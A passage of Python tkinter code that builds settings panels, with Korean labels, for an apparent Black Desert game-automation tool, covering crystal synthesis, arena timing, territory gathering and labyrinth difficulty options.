self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK + 'geomungiun2'] = combobox_list[0] combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'geomungiun2'], # justify = tkinter.CENTER, state = "readonly", height = 10, width = 4, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK + 'geomungiun2']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) label = ttk.Label( master = frame, text = "등급 이하 자동 선택" ) label.pack(side=tkinter.LEFT) frame.pack(side=tkinter.LEFT, anchor=tkinter.W) frame_label.pack(anchor=tkinter.NW, side=tkinter.LEFT, padx=5, pady=5) frame_label = ttk.LabelFrame(frame_row, text='흑정령 - 수정 합성') frame = ttk.Frame(frame_label) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'sujeong_hapseong'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'sujeong_hapseong'].trace( 'w', lambda *args: self.callback_sujeong_hapseong_stringvar(args, lybconstant.LYB_DO_STRING_BD_WORK + 'sujeong_hapseong') ) combobox_list = LYBBlackDesert.sujeong_rank_list if not lybconstant.LYB_DO_STRING_BD_WORK + 'sujeong_hapseong' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK + 'sujeong_hapseong'] = combobox_list[0] combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'sujeong_hapseong'], # justify = tkinter.CENTER, state = "readonly", height = 10, width = 4, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK + 'sujeong_hapseong']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) label = ttk.Label( master = frame, text = "등급 이하" ) label.pack(side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'sujeong_hapseong_auto'] = tkinter.BooleanVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'sujeong_hapseong_auto'].trace( 'w', lambda *args: self.callback_sujeong_hapseong_auto_booleanvar(args, lybconstant.LYB_DO_STRING_BD_WORK + 'sujeong_hapseong_auto') ) if not lybconstant.LYB_DO_STRING_BD_WORK + 'sujeong_hapseong_auto' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK + 'sujeong_hapseong_auto'] = True check_box = ttk.Checkbutton( master = frame, text = '자동', variable = self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'sujeong_hapseong_auto'], onvalue = True, offvalue = False ) check_box.pack(anchor=tkinter.W, side=tkinter.LEFT) frame.pack(side=tkinter.LEFT, anchor=tkinter.W) frame_label.pack(anchor=tkinter.NW, side=tkinter.LEFT, padx=5, pady=5) frame_label = ttk.LabelFrame(frame_row, text='흑정령 - 광원석 합성') frame = ttk.Frame(frame_label) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'gwangwonseok_hapseong'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'gwangwonseok_hapseong'].trace( 'w', lambda *args: self.callback_gwangwonseok_hapseong_stringvar(args, lybconstant.LYB_DO_STRING_BD_WORK + 'gwangwonseok_hapseong') ) combobox_list = LYBBlackDesert.sujeong_rank_list if not lybconstant.LYB_DO_STRING_BD_WORK + 'gwangwonseok_hapseong' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK + 'gwangwonseok_hapseong'] = combobox_list[0] combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'gwangwonseok_hapseong'], # justify = tkinter.CENTER, state = "readonly", height = 10, width = 4, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK + 'gwangwonseok_hapseong']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) label = ttk.Label( master = frame, text = "등급 이하" ) label.pack(side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'gwangwonseok_hapseong_auto'] = tkinter.BooleanVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'gwangwonseok_hapseong_auto'].trace( 'w', lambda *args: self.callback_gwangwonseok_hapseong_auto_booleanvar(args, lybconstant.LYB_DO_STRING_BD_WORK + 'gwangwonseok_hapseong_auto') ) if not lybconstant.LYB_DO_STRING_BD_WORK + 'gwangwonseok_hapseong_auto' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK + 'gwangwonseok_hapseong_auto'] = True check_box = ttk.Checkbutton( master = frame, text = '자동', variable = self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'gwangwonseok_hapseong_auto'], onvalue = True, offvalue = False ) check_box.pack(anchor=tkinter.W, side=tkinter.LEFT) frame.pack(side=tkinter.LEFT, anchor=tkinter.W) frame_label.pack(anchor=tkinter.NW, padx=5, pady=5) frame_row.pack(anchor=tkinter.W) frame_row = ttk.Frame(frame_head) frame_label = ttk.LabelFrame(frame_row, text='흑정령 - 잠재력 돌파') frame = ttk.Frame(frame_label) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'jamjeryeok_dolpa_rank'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'jamjeryeok_dolpa_rank'].trace( 'w', lambda *args: self.callback_jamjeryeok_dolpa_rank_stringvar(args, lybconstant.LYB_DO_STRING_BD_WORK + 'jamjeryeok_dolpa_rank') ) combobox_list = LYBBlackDesert.jamjeryeok_dolpa_rank_list if not lybconstant.LYB_DO_STRING_BD_WORK + 'jamjeryeok_dolpa_rank' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK + 'jamjeryeok_dolpa_rank'] = combobox_list[1] combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'jamjeryeok_dolpa_rank'], # justify = tkinter.CENTER, state = "readonly", height = 10, width = 6, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK + 'jamjeryeok_dolpa_rank']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) label = ttk.Label( master = frame, text = "등급 이하 " ) label.pack(side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'jamjeryeok_dolpa_rank_order'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'jamjeryeok_dolpa_rank_order'].trace( 'w', lambda *args: self.callback_jamjeryeok_dolpa_rank_order_stringvar(args, lybconstant.LYB_DO_STRING_BD_WORK + 'jamjeryeok_dolpa_rank_order') ) combobox_list = LYBBlackDesert.jamjeryeok_dolpa_rank_order_list if not lybconstant.LYB_DO_STRING_BD_WORK + 'jamjeryeok_dolpa_rank_order' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK + 'jamjeryeok_dolpa_rank_order'] = combobox_list[1] combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'jamjeryeok_dolpa_rank_order'], # justify = tkinter.CENTER, state = "readonly", height = 10, width = 4, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK + 'jamjeryeok_dolpa_rank_order']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) label = ttk.Label( master = frame, text = "등급부터 사용" ) label.pack(side=tkinter.LEFT) frame.pack(side=tkinter.LEFT, anchor=tkinter.W) frame_label.pack(anchor=tkinter.NW, padx=5, pady=5) frame_row.pack(anchor=tkinter.W) frame_row = ttk.Frame(frame_head) frame_label = ttk.LabelFrame(frame_row, text='토벌 게시판') frame = ttk.Frame(frame_label) label = ttk.Label( master = frame, text = "토벌 임무 준비할 때 " ) label.pack(side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'tobeol_degrade_number'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'tobeol_degrade_number'].trace( 'w', lambda *args: self.callback_tobeol_degrade_number_stringvar(args, lybconstant.LYB_DO_STRING_BD_WORK + 'tobeol_degrade_number') ) if not lybconstant.LYB_DO_STRING_BD_WORK + 'tobeol_degrade_number' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK + 'tobeol_degrade_number'] = 0 combobox_list = [] for i in range(0, 11): combobox_list.append(str(i)) combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'tobeol_degrade_number'], state = "readonly", height = 10, width = 4, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK + 'tobeol_degrade_number']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) label = ttk.Label( master = frame, text = "단계 낮춰서 시작합니다" ) label.pack(side=tkinter.LEFT) frame.pack(anchor=tkinter.W) frame_label.pack(side=tkinter.LEFT, anchor=tkinter.NW, padx=5, pady=5) frame_label = ttk.LabelFrame(frame_row, text='투기장') frame = ttk.Frame(frame_label) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'daejeon_count'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'daejeon_count'].trace( 'w', lambda *args: self.callback_daejeon_count_stringvar(args, lybconstant.LYB_DO_STRING_BD_WORK + 'daejeon_count') ) combobox_list = [] for i in range(1, 1001): combobox_list.append(str(i)) if not lybconstant.LYB_DO_STRING_BD_WORK + 'daejeon_count' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK + 'daejeon_count'] = 10 combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'daejeon_count'], state = "readonly", height = 10, width = 4, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK + 'daejeon_count']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) label = ttk.Label( master = frame, text = "회 진행하고 " ) label.pack(side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'daejeon_match'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'daejeon_match'].trace( 'w', lambda *args: self.callback_daejeon_match_stringvar(args, lybconstant.LYB_DO_STRING_BD_WORK + 'daejeon_match') ) combobox_list = [] for i in range(0, 60, 5): combobox_list.append(str(i)) if not lybconstant.LYB_DO_STRING_BD_WORK + 'daejeon_match' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK + 'daejeon_match'] = 30 combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'daejeon_match'], state = "readonly", height = 10, width = 4, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK + 'daejeon_match']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) label = ttk.Label( master = frame, text = "초 후 매칭 취소하고 " ) label.pack(side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'daejeon_giveup'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'daejeon_giveup'].trace( 'w', lambda *args: self.callback_daejeon_giveup_stringvar(args, lybconstant.LYB_DO_STRING_BD_WORK + 'daejeon_giveup') ) combobox_list = [] for i in range(0, 601, 5): combobox_list.append(str(i)) if not lybconstant.LYB_DO_STRING_BD_WORK + 'daejeon_giveup' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK + 'daejeon_giveup'] = 0 combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'daejeon_giveup'], state = "readonly", height = 10, width = 4, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK + 'daejeon_giveup']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) label = ttk.Label( master = frame, text = "초 후 항복" ) label.pack(side=tkinter.LEFT) frame.pack(anchor=tkinter.W) frame_label.pack(side=tkinter.LEFT, anchor=tkinter.NW, padx=5, pady=5) frame_row.pack(anchor=tkinter.W) frame_row = ttk.Frame(frame_head) frame_label = ttk.LabelFrame(frame_row, text='영지') frame_inner = ttk.Frame(frame_label) frame = ttk.Frame(frame_inner) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_money'] = tkinter.BooleanVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_money'].trace( 'w', lambda *args: self.callback_youngji_money_booleanvar(args, lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_money') ) if not lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_money' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_money'] = True check_box = ttk.Checkbutton( master = frame, text = '영지 지원금', variable = self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_money'], onvalue = True, offvalue = False ) check_box.pack(anchor=tkinter.W, side=tkinter.LEFT) frame.pack(anchor=tkinter.W, side=tkinter.LEFT) frame = ttk.Frame(frame_inner) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_blackstone'] = tkinter.BooleanVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_blackstone'].trace( 'w', lambda *args: self.callback_youngji_blackstone_booleanvar(args, lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_blackstone') ) if not lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_blackstone' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_blackstone'] = True check_box = ttk.Checkbutton( master = frame, text = '블랙스톤', variable = self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_blackstone'], onvalue = True, offvalue = False ) check_box.pack(anchor=tkinter.W, side=tkinter.LEFT) frame.pack(anchor=tkinter.W, side=tkinter.LEFT) frame = ttk.Frame(frame_inner) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chuksa'] = tkinter.BooleanVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chuksa'].trace( 'w', lambda *args: self.callback_youngji_chuksa_booleanvar(args, lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chuksa') ) if not lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chuksa' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chuksa'] = True check_box = ttk.Checkbutton( master = frame, text = '축사', variable = self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chuksa'], onvalue = True, offvalue = False ) check_box.pack(anchor=tkinter.W, side=tkinter.LEFT) frame.pack(anchor=tkinter.W, side=tkinter.LEFT) frame = ttk.Frame(frame_inner) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_tukbat'] = tkinter.BooleanVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_tukbat'].trace( 'w', lambda *args: self.callback_youngji_tukbat_booleanvar(args, lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_tukbat') ) if not lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_tukbat' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_tukbat'] = True check_box = ttk.Checkbutton( master = frame, text = '텃밭', variable = self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_tukbat'], onvalue = True, offvalue = False ) check_box.pack(anchor=tkinter.W, side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_tukbat_count'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_tukbat_count'].trace( 'w', lambda *args: self.callback_youngji_tukbat_count_stringvar(args, lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_tukbat_count') ) combobox_list = [] for i in range(1, 5): combobox_list.append(str(i)) if not lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_tukbat_count' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_tukbat_count'] = 2 combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_tukbat_count'], state = "readonly", height = 10, width = 2, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_tukbat_count']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) label = ttk.Label( master = frame, text = "개 보유" ) label.pack(side=tkinter.LEFT) frame.pack(anchor=tkinter.W, side=tkinter.LEFT) frame_inner.pack(anchor=tkinter.W) frame_inner = ttk.Frame(frame_label) frame = ttk.Frame(frame_inner) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chejip'] = tkinter.BooleanVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chejip'].trace( 'w', lambda *args: self.callback_youngji_chejip_booleanvar(args, lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chejip') ) if not lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chejip' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chejip'] = True check_box = ttk.Checkbutton( master = frame, text = '채집', variable = self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chejip'], onvalue = True, offvalue = False ) check_box.pack(anchor=tkinter.W, side=tkinter.LEFT) frame.pack(anchor=tkinter.W) frame = ttk.Frame(frame_inner) combobox_list = LYBBlackDesert.chejip_list place_combobox_list = LYBBlackDesert.chejip_place_list for i in range(8): self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chejip_' + str(i)] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chejip_place_' + str(i)] = tkinter.StringVar(frame) if i == 0: self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chejip_0'].trace( 'w', lambda *args: self.callback_youngji_chejip_0_stringvar(args, lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chejip_0') ) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chejip_place_0'].trace( 'w', lambda *args: self.callback_youngji_chejip_place_0_stringvar(args, lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chejip_place_0') ) elif i == 1: self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chejip_1'].trace( 'w', lambda *args: self.callback_youngji_chejip_1_stringvar(args, lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chejip_1') ) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chejip_place_1'].trace( 'w', lambda *args: self.callback_youngji_chejip_place_1_stringvar(args, lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chejip_place_1') ) elif i == 2: self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chejip_2'].trace( 'w', lambda *args: self.callback_youngji_chejip_2_stringvar(args, lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chejip_2') ) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chejip_place_2'].trace( 'w', lambda *args: self.callback_youngji_chejip_place_2_stringvar(args, lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chejip_place_2') ) elif i == 3: self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chejip_3'].trace( 'w', lambda *args: self.callback_youngji_chejip_3_stringvar(args, lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chejip_3') ) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chejip_place_3'].trace( 'w', lambda *args: self.callback_youngji_chejip_place_3_stringvar(args, lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chejip_place_3') ) elif i == 4: self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chejip_4'].trace( 'w', lambda *args: self.callback_youngji_chejip_4_stringvar(args, lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chejip_4') ) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chejip_place_4'].trace( 'w', lambda *args: self.callback_youngji_chejip_place_4_stringvar(args, lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chejip_place_4') ) frame.pack(anchor=tkinter.W) frame = ttk.Frame(frame_inner) elif i == 5: self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chejip_5'].trace( 'w', lambda *args: self.callback_youngji_chejip_5_stringvar(args, lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chejip_5') ) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chejip_place_5'].trace( 'w', lambda *args: self.callback_youngji_chejip_place_5_stringvar(args, lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chejip_place_5') ) elif i == 6: self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chejip_6'].trace( 'w', lambda *args: self.callback_youngji_chejip_6_stringvar(args, lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chejip_6') ) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chejip_place_6'].trace( 'w', lambda *args: self.callback_youngji_chejip_place_6_stringvar(args, lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chejip_place_6') ) elif i == 7: self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chejip_7'].trace( 'w', lambda *args: self.callback_youngji_chejip_7_stringvar(args, lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chejip_7') ) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chejip_place_7'].trace( 'w', lambda *args: self.callback_youngji_chejip_place_7_stringvar(args, lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chejip_place_7') ) if not lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chejip_' + str(i) in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chejip_' + str(i)] = combobox_list[-1] if not lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chejip_place_' + str(i) in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chejip_place_' + str(i)] = place_combobox_list[1] label = ttk.Label( master = frame, text = str(i+1) +'. ' ) label.pack(side=tkinter.LEFT) combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chejip_' + str(i)], state = "readonly", height = 10, width = 9, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chejip_' + str(i)]) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) combobox = ttk.Combobox( master = frame, values = place_combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chejip_place_' + str(i)], state = "readonly", height = 10, width = 6, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK + 'youngji_chejip_place_' + str(i)]) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) frame.pack(anchor=tkinter.W) frame_inner.pack(anchor=tkinter.W) frame_label.pack(side=tkinter.LEFT, anchor=tkinter.NW, padx=5, pady=5) frame_row.pack(anchor=tkinter.W) frame_head.pack(anchor=tkinter.W) # +-----------------------------------------+ # | | # | 작업 설정2 | # | | # +-----------------------------------------+ frame_head = ttk.Frame(self.inner_frame_dic['work2_tab_frame']) frame_row = ttk.Frame(frame_head) frame_label = ttk.LabelFrame(frame_row, text='미궁 개척') frame = ttk.Frame(frame_label) label = ttk.Label( master = frame, text = "난이도" ) label.pack(side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_gecheok'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_gecheok'].trace( 'w', lambda *args: self.callback_migung_gecheok_stringvar(args, lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_gecheok') ) combobox_list = [] for i in range(1, 9): combobox_list.append(str(i)) if not lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_gecheok' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_gecheok'] = 5 combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_gecheok'], state = "readonly", height = 10, width = 3, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_gecheok']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) label = ttk.Label( master = frame, text = "단계 선택" ) label.pack(side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_friend'] = tkinter.BooleanVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_friend'].trace( 'w', lambda *args: self.callback_migung_friend_booleanvar(args, lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_friend') ) if not lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_friend' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_friend'] = True check_box = ttk.Checkbutton( master = frame, text = '친구', variable = self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_friend'], onvalue = True, offvalue = False ) check_box.pack(anchor=tkinter.W, side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_friend_number'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_friend_number'].trace( 'w', lambda *args: self.callback_migung_friend_number_stringvar(args, lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_friend_number') ) combobox_list = [] for i in range(0, 11): combobox_list.append(str(i)) if not lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_friend_number' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_friend_number'] = 5 combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_friend_number'], state = "readonly", height = 10, width = 3, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_friend_number']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_guild'] = tkinter.BooleanVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_guild'].trace( 'w', lambda *args: self.callback_migung_guild_booleanvar(args, lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_guild') ) if not lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_guild' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_guild'] = True check_box = ttk.Checkbutton( master = frame, text = '길드', variable = self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_guild'], onvalue = True, offvalue = False ) check_box.pack(anchor=tkinter.W, side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_guild_number'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_guild_number'].trace( 'w', lambda *args: self.callback_migung_guild_number_stringvar(args, lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_guild_number') ) combobox_list = [] for i in range(0, 11): combobox_list.append(str(i)) if not lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_guild_number' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_guild_number'] = 5 combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_guild_number'], state = "readonly", height = 10, width = 3, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK2 + 'migung_guild_number']) 